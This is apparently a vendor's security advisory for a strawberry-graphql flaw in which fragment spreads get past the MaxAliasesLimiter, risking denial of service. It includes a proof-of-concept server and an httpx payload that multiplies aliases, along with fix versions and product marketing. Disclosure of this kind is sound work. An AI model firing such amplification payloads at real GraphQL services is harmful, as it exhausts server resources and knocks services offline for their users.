GHSA-fr49-mhgj-crfc
MEDIUMGHSA-fr49-mhgj-crfc is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in strawberry-graphql. O3 Security confirms whether GHSA-fr49-mhgj-crfc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fr49-mhgj-crfc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fr49-mhgj-crfc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 367,327 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
strawberry-graphqlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details
The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach
for selection in selection_set_owner.selection_set.selections:
if isinstance(selection, FieldNode) and selection.alias:
result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
result += count_fields_with_alias(selection)
When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads * aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Limit is set to 20 aliases
schema = strawberry.Schema(
query=Query,
extensions=[MaxAliasesLimiter(max_alias_count=20)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
payloads
import httpx
payload = {
"query": """
fragment Amplification on User {
a1: name, a2: name, a3: name, a4: name, a5: name,
a6: name, a7: name, a8: name, a9: name, a10: name
}
query Bypass {
u1: user { ...Amplification }
u2: user { ...Amplification }
u3: user { ...Amplification }
u4: user { ...Amplification }
u5: user { ...Amplification }
u6: user { ...Amplification }
u7: user { ...Amplification }
u8: user { ...Amplification }
u9: user { ...Amplification }
u10: user { ...Amplification }
}
"""
}
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())
Impact
An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | strawberry-graphql | ≥ 0.172.0&&< 0.315.7 | 0.315.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for strawberry-graphql. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update strawberry-graphql to 0.315.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr49-mhgj-crfc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fr49-mhgj-crfc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fr49-mhgj-crfc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fr49-mhgj-crfc in your dependencies?
O3 detects GHSA-fr49-mhgj-crfc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.